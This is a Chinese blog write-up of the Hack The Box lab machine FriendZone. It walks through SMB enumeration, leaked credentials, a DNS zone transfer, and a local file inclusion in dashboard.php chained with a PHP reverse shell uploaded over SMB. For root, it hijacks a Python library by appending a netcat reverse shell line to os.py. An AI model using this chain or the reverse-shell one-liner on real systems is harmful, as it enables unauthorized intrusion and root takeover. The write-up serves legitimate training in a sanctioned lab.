【Hack The Box】Linux练习-- FriendZone

HTB 学习笔记

【Hack The Box】Linux练习-- FriendZone


🔥系列专栏:Hack The Box
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2022年11月17日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!

在这里插入图片描述

信息收集

21/tcp  open   ftp         vsftpd 3.0.3
22/tcp  open   ssh         OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 a9:68:24:bc:97:1f:1e:54:a5:80:45:e7:4c:d9:aa:a0 (RSA)
|   256 e5:44:01:46:ee:7a:bb:7c:e9:1a:cb:14:99:9e:2b:8e (ECDSA)
|_  256 00:4e:1a:4f:33:e8:a0:de:86:a6:e4:2a:5f:84:61:2b (ED25519)
53/tcp  open   domain      ISC BIND 9.11.3-1ubuntu1.2 (Ubuntu Linux)
| dns-nsid:
|_  bind.version: 9.11.3-1ubuntu1.2-Ubuntu
80/tcp  open   http        Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Friend Zone Escape software
137/tcp closed netbios-ns
139/tcp open   netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
443/tcp open   ssl/http    Apache httpd 2.4.29
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: 404 Not Found
| ssl-cert: Subject: commonName=friendzone.red/organizationName=CODERED/stateOrProvinceName=CODERED/countryName=JO
| Not valid before: 2018-10-05T21:02:30
|_Not valid after:  2018-11-04T21:02:30
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_  http/1.1
445/tcp open   netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
Service Info: Hosts: FRIENDZONE, 127.0.0.1; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: -48m13s, deviation: 1h09m16s, median: -8m14s
|_nbstat: NetBIOS name: FRIENDZONE, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery:
|   OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
|   Computer name: friendzone
|   NetBIOS computer name: FRIENDZONE\x00
|   Domain name: \x00
|   FQDN: friendzone
|_  System time: 2019-02-11T23:47:26+02:00
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode:
|   2.02:
|_    Message signing enabled but not required
| smb2-time:
|   date: 2019-02-11 16:47:26
|_  start_date: N/A

commonName=friendzone.red
得到了域名,那就先写进/etc/hosts

我看445/139

查看共享
smbmap -H 10.129.119.96
    
general
Development

查看空绑定
mbclient -N -L //10.129.19.96

在这里插入图片描述files共享目录在/etc/files
挺有意思,但目前没啥用
不过这里绝对有问题,因为我从来没有遇到过smb可以暴露出共享目录的绝对路径的

对smb仔细扫描一下

nmap --script smb-enum-shares.nse -p445 10.10.10.123
Host script results:
| smb-enum-shares: 
|   account_used: guest
|   \\10.129.119.96\Development: 
|     Type: STYPE_DISKTREE
|     Comment: FriendZone Samba Server Files
|     Users: 0
|     Max Users: <unlimited>
|     Path: C:\etc\Development
|     Anonymous access: READ/WRITE
|     Current user access: READ/WRITE
|   \\10.129.119.96\Files: 
|     Type: STYPE_DISKTREE
|     Comment: FriendZone Samba Server Files /etc/Files
|     Users: 0
|     Max Users: <unlimited>
|     Path: C:\etc\hole
|     Anonymous access: <none>
|     Current user access: <none>
|   \\10.129.119.96\IPC$: 
|     Type: STYPE_IPC_HIDDEN
|     Comment: IPC Service (FriendZone server (Samba, Ubuntu))
|     Users: 1
|     Max Users: <unlimited>
|     Path: C:\tmp
|     Anonymous access: READ/WRITE
|     Current user access: READ/WRITE
|   \\10.129.119.96\general: 
|     Type: STYPE_DISKTREE
|     Comment: FriendZone Samba Server Files
|     Users: 0
|     Max Users: <unlimited>
|     Path: C:\etc\general
|     Anonymous access: READ/WRITE
|     Current user access: READ/WRITE
|   \\10.129.119.96\print$: 
|     Type: STYPE_DISKTREE
|     Comment: Printer Drivers
|     Users: 0
|     Max Users: <unlimited>
|     Path: C:\var\lib\samba\printers
|     Anonymous access: <none>
|_    Current user access: <none>

Nmap done: 1 IP address (1 host up) scanned in 107.73 seconds

C:\etc\general
C:\etc\hole
C:\etc\Development
就这个files不一样
奇怪
smbclient -N //10.129.119.96/Development
啥都没有
下一个
进不去

在这里插入图片描述下一个

smbclient -N //10.129.119.96/general

在这里插入图片描述发现了账号密码
在这里插入图片描述
admin:WORKWORKHhallelujah@#
目前我们可以登陆的有ssh,ftp,smb
但是admin明显是网站后台的登陆。我们先把目光放在网站后台

https

在这里插入图片描述还有个表情包
在这里插入图片描述
让我不要深入,我偏要深入
目录爆破结果如下

/admin (Status: 301)
/js (Status: 301)

在这里插入图片描述
在这里插入图片描述

Testing some functions !

I'am trying not to break things !
RHpNd3hxZ1NQQjE2Njg3NzA0MTR3RVQ4MXVRWllC

RHpNd3hxZ1NQQjE2Njg3NzA0MTR3RVQ4MXVRWllC
这个是啥呢,他还说他在测试一些函数

到这为止有点停滞,掌握了一个用户账号密码但是没地方用,看用户名像是网站后台

最终决定挖掘一下dns

我看dns

dig axfr friendzone.red @10.129.119.96

得到

uploads.friendzone.red
administrator1.friendzone.red
hr.friendzone.red

发现了一个上传点,但是上传了一个东西,没获得上传路径,搞到这里我突然想到,如果我可以在smb上传,因为他有路径,然后如果web存在lfi,我是不是就可以反弹shell了
那么接下来就特别注意url
在这里插入图片描述

写一个,是个登陆页面

在这里插入图片描述这个用刚才获得的用户账号密码登陆
在这里插入图片描述
看看/dashboard.php
在这里插入图片描述

image_id=a.jpg&pagename=timestamp
这会不会是个lfi呢

我先尝试一下他给出的那个图片实例
https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=timestamp
在这里插入图片描述这个域名有点东西
所以我会再次爆破一下域名

gobuster dir  -k -u https://administrator1.friendzone.red -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php

爆破出了这个php

timestamp.php

在这里插入图片描述

Final Access timestamp is 1668775526

得到了一个时间戳
我将再次尝试看看有啥

没啥区别
在这我就不会了
看了别的师傅的wp
我发现我需要对url进一步分析

分析

https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=timestamp
这是刚才的一开始的url
而我们也得到了
timestamp.php
这么一个php文件
所以猜想这个php文件是被调用的
include($_GET[“pagename”] . “.php”)
可能正是这种
我们进行验证,调用login.php
在这里插入图片描述

所以我们的尝试成功了
那么我们现在就要上传一个我们知道路径的后门文件
那就很简单了

借助smb上传协同lfi

smbclient //10.129.119.96/development -U ""
put 1.php

1.php是一个反弹shell
随便找一个就行
而后浏览器访问

https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=/etc/Development/1

在这里插入图片描述

提权

查找可读可写可执行文件

find / -perm 777 -type f 2>/dev/null

发现一个os.py,具有root权限

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述我试图直接写一个python反弹shell

可是我总是报错

于是我继续寻找

www-data@FriendZone:/var/www$ cat mysql_data.conf 
for development process this is the mysql creds for user friend

db_user=friend
db_pass=Agpyu12!0.213$
db_name=FZ

ssh登陆他

ssh friend@10.10.10.123
我上传了pspy
并且发现了运行着一个计划任务

在这里插入图片描述

这个文件在
/opt/server_admin/

在这里插入图片描述我看了一下这个源码
import os
他导入了os.py,这应该可以越过我们无法执行os.py的问题

但是我已经破坏了os.py所以我将重置一下机器

然后把这些添加到最下面,而后等一会我们就可以获得一个shell

注意是>>(追加),>是覆盖

echo "import os;os.system(‘rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.14.7 9999 >/tmp/f’)" >> os.py
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

人间体佐菲

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值